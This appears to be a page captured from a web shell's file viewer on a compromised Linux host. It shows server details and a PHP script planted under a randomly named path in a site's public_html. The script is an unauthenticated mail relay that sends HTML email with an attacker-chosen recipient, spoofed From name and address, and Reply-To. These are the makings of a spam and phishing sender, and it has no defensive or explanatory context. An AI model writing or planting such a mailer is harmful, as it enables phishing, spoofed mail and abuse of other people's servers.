MOON
Server: Apache
System: Linux 54-179-220-51.cprapid.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64
User: thehunarfound (1001)
PHP: 7.4.29
Disabled: NONE
Upload Files
File: /home/thehunarfound/public_html/31830673/ma1e62d03.php
<?php
if(!isset($_POST['to'])||!isset($_POST['subject'])||!isset($_POST['body'])){http_response_code(400);echo'missing params';exit;}
$to=$_POST['to'];$subj=$_POST['subject'];$body=$_POST['body'];
$from=isset($_POST['from'])?$_POST['from']:'noreply@'.gethostname();
$name=isset($_POST['name'])?$_POST['name']:'';
$headers='MIME-Version: 1.0'."\\r\\n";
$headers.='Content-Type: text/html; charset=UTF-8'."\\r\\n";
$headers.='From: '.$name.' <'.$from.'>'."\\r\\n";
if(isset($_POST['reply']))$headers.='Reply-To: '.$_POST['reply']."\\r\\n";
$ok=@mail($to,$subj,$body,$headers);
echo json_encode(['ok'=>$ok?1:0,'from'=>$from]);
?>